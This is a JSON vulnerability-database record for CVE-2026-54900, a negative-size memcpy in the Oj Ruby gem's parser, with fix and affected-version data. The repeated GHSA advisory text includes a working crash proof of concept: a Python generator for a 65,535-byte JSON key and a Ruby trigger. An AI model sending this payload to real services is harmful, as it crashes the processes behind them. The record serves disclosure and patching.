{"id":"CVE-2026-54900","aliases":["DEBIAN-CVE-2026-54900","EUVD-2026-40855","GHSA-9cv6-qcjw-4grx","UBUNTU-CVE-2026-54900"],"status":"published","title":"Oj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling","description":"Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior to 3.17.2, when in usual mode with create_id enabled, Oj::Parser#parse is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process. The issue has been fixed in version 3.17.2.","severity":{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00516,"percentile":0.44275,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-190","CWE-416","CWE-787"],"published":"2026-06-19T20:47:23Z","modified":"2026-10-26T11:47:30Z","exploits":[{"source":"pocgithub","id":"HORKimhab/CVE-2026-54900","title":"HORKimhab/CVE-2026-54900","date":"2026-07-25","url":"https://github.com/HORKimhab/CVE-2026-54900"}],"fixes":[{"ecosystem":"RubyGems","package":"oj","fixed_in":["3.17.2","3.17.3"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:12","package":"ruby-oj","fixed_in":["3.14.2-1+deb12u1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"ruby-oj","fixed_in":["3.16.3-1+deb13u1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"ruby-oj","fixed_in":["3.17.3-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"RubyGems","package":"oj","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.17.2"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"ruby-oj","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.14.2-1+deb12u1"}]}],"versions":["3.14.2-1"]},{"source":"osv","ecosystem":"Debian:13","package":"ruby-oj","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.16.3-1+deb13u1"}]}],"versions":["3.16.3-1"]},{"source":"osv","ecosystem":"Debian:14","package":"ruby-oj","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.17.3-1"}]}],"versions":["3.16.12-1","3.16.15-1","3.16.16-1","3.16.3-1","3.17.0-1","3.17.1-1"]},{"source":"osv","ecosystem":"RubyGems","package":"oj","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.17.3"}]}],"versions":["0.5","0.5.1","0.5.2","0.6.0","0.7.0","0.8.0","0.9.0","1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.1.0","1.1.1","1.2.0","1.2.1","1.2.10","1.2.11","1.2.12","1.2.13","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.2.7","1.2.8","1.2.9","1.3.0","1.3.2","1.3.4","1.3.5","1.3.6","1.3.7","1.4.0","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.6a2","1.4.7","2.0.0","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.1.6","2.1.7","2.10.0","2.10.1","2.10.2","2.10.3","2.10.4","2.11.0","2.11.1","2.11.2","2.11.3","2.11.4","2.11.5","2.12.0","2.12.1","2.12.10","2.12.11","2.12.12","2.12.13","2.12.14","2.12.2","2.12.3","2.12.4","2.12.5","2.12.6","2.12.7","2.12.8","2.12.9","2.13.0","2.13.1","2.14.0","2.14.1","2.14.2","2.14.3","2.14.4","2.14.5","2.14.6","2.15.0","2.15.1","2.16.0","2.16.1","2.17.0","2.17.1","2.17.2","2.17.3","2.17.4","2.17.5","2.18.0","2.18.1","2.18.2","2.18.3","2.18.4","2.18.5","2.2.0","2.2.1","2.2.2","2.2.3","2.3.0","2.4.0","2.4.1","2.4.2","2.4.3","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.6.0","2.6.1","2.7.0","2.7.1","2.7.2","2.7.3","2.8.0","2.8.1","2.9.0","2.9.1","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.1","3.0.10","3.0.11","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.2","3.1.3","3.1.4","3.10.0","3.10.1","3.10.10","3.10.11","3.10.12","3.10.13","3.10.14","3.10.15","3.10.16","3.10.17","3.10.18","3.10.2","3.10.3","3.10.5","3.10.6","3.10.7","3.10.8","3.10.9","3.11.0","3.11.1","3.11.2","3.11.3","3.11.4","3.11.5","3.11.6","3.11.7","3.11.8","3.12.0","3.12.1","3.12.2","3.12.3","3.13.0","3.13.1","3.13.10","3.13.11","3.13.12","3.13.13","3.13.14","3.13.15","3.13.16","3.13.17","3.13.18","3.13.19","3.13.2","3.13.20","3.13.21","3.13.22","3.13.23","3.13.3","3.13.4","3.13.5","3.13.6","3.13.7","3.13.8","3.13.9","3.14.0","3.14.1","3.14.2","3.14.3","3.15.0","3.15.1","3.16.0","3.16.1","3.16.10","3.16.11","3.16.12","3.16.13","3.16.14","3.16.15","3.16.16","3.16.17","3.16.2","3.16.3","3.16.4","3.16.5","3.16.6","3.16.7","3.16.8","3.16.9","3.17.0","3.17.1","3.2.0","3.2.1","3.3.0","3.3.1","3.3.10","3.3.2","3.3.3","3.3.4","3.3.5","3.3.6","3.3.7","3.3.8","3.3.9","3.4.0","3.5.0","3.5.1","3.6.0","3.6.10","3.6.11","3.6.12","3.6.13","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.6.8","3.6.9","3.7.0","3.7.1","3.7.10","3.7.11","3.7.12","3.7.2","3.7.3","3.7.4","3.7.5","3.7.6","3.7.7","3.7.8","3.7.9","3.8.0","3.8.1","3.9.0","3.9.1","3.9.2"]},{"source":"osv","ecosystem":"Ubuntu:14.04:LTS","package":"ruby-oj","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.0.10-1","2.1.4-1","2.4.0-1","2.5.3-1"]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"ruby-oj","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.12.10-3","2.12.10-3build1","2.12.10-4","2.12.10-4build1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"ruby-oj","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.17.4-1","3.4.0-1","3.4.0-1build1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"ruby-oj","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.8.1-1","3.9.1-1","3.9.2-1","3.10.1-1","3.10.1-1build1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"ruby-oj","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.11.0-1","3.13.7-1","3.13.7-1build1","3.13.9-1","3.13.9-1build1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"ruby-oj","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.15.0-1","3.16.1-1","3.16.3-1","3.16.3-1build1","3.16.3-1build2"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"ruby-oj","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.16.3-1build3"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"ruby-oj","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.16.15-1","3.17.0-1","3.17.1-1","3.17.3-1","3.17.4-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"ruby-oj","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.16.3-1build3","3.16.12-1","3.16.15-1"]}],"products":[{"vendor":"ohler55","product":"oj"}],"references":[{"url":"https://github.com/ohler55/oj/security/advisories/GHSA-9cv6-qcjw-4grx","tags":["x_refsource_CONFIRM","exploit","web","report"]},{"url":"https://github.com/advisories/GHSA-9cv6-qcjw-4grx"},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-54900","tags":["advisory"]},{"url":"https://github.com/ohler55/oj","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-54900","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-54900","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-54900","title":"Oj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling","description":"Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior to 3.17.2, when in usual mode with create_id enabled, Oj::Parser#parse is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process. The issue has been fixed in version 3.17.2.","status":"published","published":"2026-06-30T23:34:05.904Z","modified":"2026-07-01T15:48:35.112Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-190","CWE-787"],"updated_at":"2026-11-02T13:37:58.613221Z"}],"euvd":[{"id":"EUVD-2026-40855","description":"Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior to 3.17.2, when in usual mode with create_id enabled, Oj::Parser#parse is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process. The issue has been fixed in version 3.17.2.","status":"published","published":"2026-06-30T23:34:05Z","modified":"2026-07-01T15:48:35Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T18:20:19.446061Z"}],"ghsa":[{"id":"GHSA-9cv6-qcjw-4grx","title":"Oj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling","description":"### Summary\n\n`Oj::Parser#parse` in usual mode with `create_id` enabled is vulnerable to heap corruption via a negative-size `memcpy`. When a JSON object key is exactly 65,535 bytes long, an integer truncation in `form_attr` (`usual.c:63`) converts the length to `-1` before passing it to `memcpy`. This causes `memcpy` to copy `SIZE_MAX` bytes (interpreted as a huge `size_t`), corrupting heap memory and crashing the process.\n\n### Version\n\n- **Software**: oj gem\n- **Affected**: all versions with `ext/oj/usual.c`\n- **Latest tested**: 3.17.1 (confirmed present)\n\n### Details\n\n`ext/oj/usual.c`, `form_attr`:\n\n```c\n// usual.c:55–64\nstatic ID form_attr(const char *str, size_t slen) {\n    char        buf[4096];\n    // ...\n    int  blen = (int)slen + 1;    // ← truncates: 65535 + 1 = 65536 → wraps to 0\n                                  //   or: 65535 cast to int = 65535 (fits),\n                                  //   but blen = 65536 → INT overflow on +1 if slen=INT_MAX\n    // ...\n    memcpy(buf, \"@\", 1);\n    memcpy(buf + 1, str, (size_t)blen);  // ← size_t(-1) = SIZE_MAX\n}\n```\n\nThe cache (`cache_intern`) uses a fixed 65,536-byte slab. When `slen = 65535`, the arithmetic wraps and `memcpy` is called with `(size_t)-1`.\n\nASAN report:\n```\n==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1)\n    #0 memcpy\n    #1 form_attr          /ext/oj/usual.c:63\n    #2 cache_intern       /ext/oj/cache.c:326\n    #3 get_attr_id        /ext/oj/usual.c:186\n    #4 close_object_create  /ext/oj/usual.c:374\n    #5 parse              /ext/oj/parser.c:693\n    #6 parser_parse       /ext/oj/parser.c:1408\n0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800)\n```\n\n### Reproduce\n\nGenerate the payload:\n\n```python\nkey = 'A' * 65535\nwith open('poc.json', 'w') as f:\n    f.write('{\"json_class\":\"Oj::Bag\",\"' + key + '\":1}')\n```\n\nTrigger:\n\n```ruby\nrequire 'oj'\nOj::Parser.new(:usual, create_id: 'json_class').parse(STDIN.read)\n```","status":"published","published":"2026-06-19T20:47:23Z","modified":"2026-06-19T20:47:24Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-416"],"updated_at":"2026-11-02T14:40:31.656952Z"}],"nvd":[{"id":"CVE-2026-54900","description":"Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior to 3.17.2, when in usual mode with create_id enabled, Oj::Parser#parse is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process. The issue has been fixed in version 3.17.2.","status":"published","published":"2026-07-01T00:16:33.34Z","modified":"2026-10-25T17:10:00.197Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"}],"cwes":["CWE-190","CWE-787"],"updated_at":"2026-11-02T14:12:27.199837Z"}],"osv":[{"id":"DEBIAN-CVE-2026-54900","description":"Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior to 3.17.2, when in usual mode with create_id enabled, Oj::Parser#parse is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process. The issue has been fixed in version 3.17.2.","status":"published","published":"2026-07-01T00:16:33.34Z","modified":"2026-10-26T11:47:30.444906067Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"updated_at":"2026-11-02T15:45:57.236551Z"},{"id":"GHSA-9cv6-qcjw-4grx","title":"Oj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling","description":"### Summary\n\n`Oj::Parser#parse` in usual mode with `create_id` enabled is vulnerable to heap corruption via a negative-size `memcpy`. When a JSON object key is exactly 65,535 bytes long, an integer truncation in `form_attr` (`usual.c:63`) converts the length to `-1` before passing it to `memcpy`. This causes `memcpy` to copy `SIZE_MAX` bytes (interpreted as a huge `size_t`), corrupting heap memory and crashing the process.\n\n### Version\n\n- **Software**: oj gem\n- **Affected**: all versions with `ext/oj/usual.c`\n- **Latest tested**: 3.17.1 (confirmed present)\n\n### Details\n\n`ext/oj/usual.c`, `form_attr`:\n\n```c\n// usual.c:55–64\nstatic ID form_attr(const char *str, size_t slen) {\n    char        buf[4096];\n    // ...\n    int  blen = (int)slen + 1;    // ← truncates: 65535 + 1 = 65536 → wraps to 0\n                                  //   or: 65535 cast to int = 65535 (fits),\n                                  //   but blen = 65536 → INT overflow on +1 if slen=INT_MAX\n    // ...\n    memcpy(buf, \"@\", 1);\n    memcpy(buf + 1, str, (size_t)blen);  // ← size_t(-1) = SIZE_MAX\n}\n```\n\nThe cache (`cache_intern`) uses a fixed 65,536-byte slab. When `slen = 65535`, the arithmetic wraps and `memcpy` is called with `(size_t)-1`.\n\nASAN report:\n```\n==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1)\n    #0 memcpy\n    #1 form_attr          /ext/oj/usual.c:63\n    #2 cache_intern       /ext/oj/cache.c:326\n    #3 get_attr_id        /ext/oj/usual.c:186\n    #4 close_object_create  /ext/oj/usual.c:374\n    #5 parse              /ext/oj/parser.c:693\n    #6 parser_parse       /ext/oj/parser.c:1408\n0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800)\n```\n\n### Reproduce\n\nGenerate the payload:\n\n```python\nkey = 'A' * 65535\nwith open('poc.json', 'w') as f:\n    f.write('{\"json_class\":\"Oj::Bag\",\"' + key + '\":1}')\n```\n\nTrigger:\n\n```ruby\nrequire 'oj'\nOj::Parser.new(:usual, create_id: 'json_class').parse(STDIN.read)\n```","status":"published","published":"2026-06-19T20:47:23Z","modified":"2026-09-10T03:50:49.379821956Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-416"],"updated_at":"2026-11-02T15:46:43.524801Z"},{"id":"UBUNTU-CVE-2026-54900","description":"Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior to 3.17.2, when in usual mode with create_id enabled, Oj::Parser#parse is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process. The issue has been fixed in version 3.17.2.","status":"published","published":"2026-07-01T00:16:00Z","modified":"2026-10-17T13:00:26.586351193Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T16:56:41.382716Z"}]}}